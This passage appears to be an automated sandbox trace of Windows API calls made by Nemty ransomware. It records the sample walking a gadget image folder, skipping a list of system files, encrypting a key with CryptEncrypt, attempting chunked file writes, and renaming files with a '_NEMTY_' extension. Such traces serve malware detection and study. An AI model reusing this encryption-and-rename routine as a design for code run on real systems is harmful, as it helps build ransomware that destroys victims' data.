lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.047] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340240, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0163.047] CloseHandle (hObject=0xffffffff) returned 0 [0163.047] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0163.047] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0163.047] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0163.047] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0163.047] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0163.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0163.047] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0163.047] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0163.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0163.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0163.047] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_windy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_windy.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_windy.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_windy.png._nemty_kgobjgd_")) returned 0 [0163.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0163.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0163.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0163.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0163.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0163.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0163.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0163.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0163.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0163.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0163.048] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a9b13, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x873a9b13, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2c1a0765, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x21a1, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="docked_blue_partly-cloudy.png", cAlternateFileName="")) returned 1 [0163.048] lstrcmpiW (lpString1="docked_blue_partly-cloudy.png", lpString2=".") returned 1 [0163.048] lstrcmpiW (lpString1="docked_blue_partly-cloudy.png", lpString2="..") returned 1 [0163.048] lstrcmpiW (lpString1="docked_blue_partly-cloudy.png", lpString2="...") returned 1 [0163.048] lstrcmpiW (lpString1="docked_blue_partly-cloudy.png", lpString2="windows") returned -1 [0163.048] lstrcmpiW (lpString1="docked_blue_partly-cloudy.png", lpString2="$RECYCLE.BIN") returned 1 [0163.048] lstrcmpiW (lpString1="docked_blue_partly-cloudy.png", lpString2="rsa") returned -1 [0163.048] lstrcmpiW (lpString1="docked_blue_partly-cloudy.png", lpString2="NTDETECT.COM") returned -1 [0163.048] lstrcmpiW (lpString1="docked_blue_partly-cloudy.png", lpString2="ntldr") returned -1 [0163.048] lstrcmpiW (lpString1="docked_blue_partly-cloudy.png", lpString2="MSDOS.SYS") returned -1 [0163.048] lstrcmpiW (lpString1="docked_blue_partly-cloudy.png", lpString2="IO.SYS") returned -1 [0163.048] lstrcmpiW (lpString1="docked_blue_partly-cloudy.png", lpString2="boot.ini") returned 1 [0163.048] lstrcmpiW (lpString1="docked_blue_partly-cloudy.png", lpString2="boot.ini") returned 1 [0163.048] lstrcmpiW (lpString1="docked_blue_partly-cloudy.png", lpString2="AUTOEXEC.BAT") returned 1 [0163.048] lstrcmpiW (lpString1="docked_blue_partly-cloudy.png", lpString2="ntuser.dat") returned -1 [0163.048] lstrcmpiW (lpString1="docked_blue_partly-cloudy.png", lpString2="desktop.ini") returned 1 [0163.048] lstrcmpiW (lpString1="docked_blue_partly-cloudy.png", lpString2="CONFIG.SYS") returned 1 [0163.048] lstrcmpiW (lpString1="docked_blue_partly-cloudy.png", lpString2="RECYCLER") returned -1 [0163.048] lstrcmpiW (lpString1="docked_blue_partly-cloudy.png", lpString2="BOOTSECT.BAK") returned 1 [0163.048] lstrcmpiW (lpString1="docked_blue_partly-cloudy.png", lpString2="bootmgr") returned 1 [0163.048] lstrcmpiW (lpString1="docked_blue_partly-cloudy.png", lpString2="programdata") returned -1 [0163.048] lstrcmpiW (lpString1="docked_blue_partly-cloudy.png", lpString2="appdata") returned 1 [0163.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0163.048] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_blue_partly-cloudy.png", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0163.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0163.048] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_blue_partly-cloudy.png", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_blue_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 29 [0163.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0163.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0163.048] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_blue_partly-cloudy.png", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0163.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0163.049] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_blue_partly-cloudy.png", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_blue_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 29 [0163.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0163.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0163.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0163.049] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0163.049] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_blue_partly-cloudy.png", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0163.049] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0163.049] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_blue_partly-cloudy.png", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_blue_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 29 [0163.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0163.049] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0163.049] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_blue_partly-cloudy.png", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0163.049] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0163.049] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_blue_partly-cloudy.png", cchWideChar=29, lpMultiByteStr=0x4f9ed58, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_blue_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 29 [0163.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0163.049] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340188 [0163.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0163.049] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340250 [0163.049] Sleep (dwMilliseconds=0x5) [0163.065] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x14d74990, dwHighDateTime=0x1d561e8)) [0163.065] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x14d74990, dwHighDateTime=0x1d561e8)) [0163.065] GetLastError () returned 0x5 [0163.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0163.065] GetLastError () returned 0x5 [0163.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0163.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0163.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0163.065] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0163.065] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0163.065] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0163.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340318 [0163.065] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340318, pcchString=0x653e91c | out: pszString="wQYiU1dT4zV8ct/1Sr5l1e6XYIarFIXsj7sp5nDLfOy4YD+I+KPkDUCppyw7lPZ+\r\nEBUMuPFJyglhyprgdLkcIxjGExwM1eDiJEcQoS/HLXAvZSzS7z3I6jFuKwp73Bxf\r\nn6EWzQrBvFzblHfgpRbmehN/dwOL0g4qQ5Q8lorcashH8xvfsD9gjymA89ns/bli\r\nlzUbNUhIeJ3wVYagZrmbiDmWZQYGSDU0dAcezKRvLB5WN70iLjP0FqL6ypyI1z61\r\n1o/lRQhMrY39ve6ejfsvxHP6XToALMBXYC3SB4yNqdcVs6jnqCLIcqRCOWGCWNoq\r\n+4ROH2XwyzrdLJXASkSCSQ==\r\n", pcchString=0x653e91c) returned 1 [0163.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0163.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340318 | out: hHeap=0x4f90000) returned 1 [0163.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0163.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0163.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340318 [0163.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0163.065] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_blue_partly-cloudy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_blue_partly-cloudy.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.087] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0163.087] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0163.087] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.087] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.097] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.097] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.097] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.097] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.107] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.107] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.107] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.107] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.117] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.117] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.117] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.117] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.127] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.127] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.127] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.127] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.136] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.136] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.136] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.136] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.146] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.146] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.146] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.146] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.155] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.155] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.155] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.155] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.167] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.167] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.167] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.168] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.177] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.177] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.177] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.177] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.186] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.186] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.186] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.186] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.192] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.193] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.193] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.193] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.198] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.198] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.199] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.199] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340318, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0163.199] CloseHandle (hObject=0xffffffff) returned 0 [0163.199] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340488 [0163.199] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0163.199] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0163.199] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0163.199] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0163.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0163.199] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0163.199] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63440b0 [0163.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0163.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0163.199] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_blue_partly-cloudy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_blue_partly-cloudy.png"), lpNewFileName="C:\\Program Files\\Windows 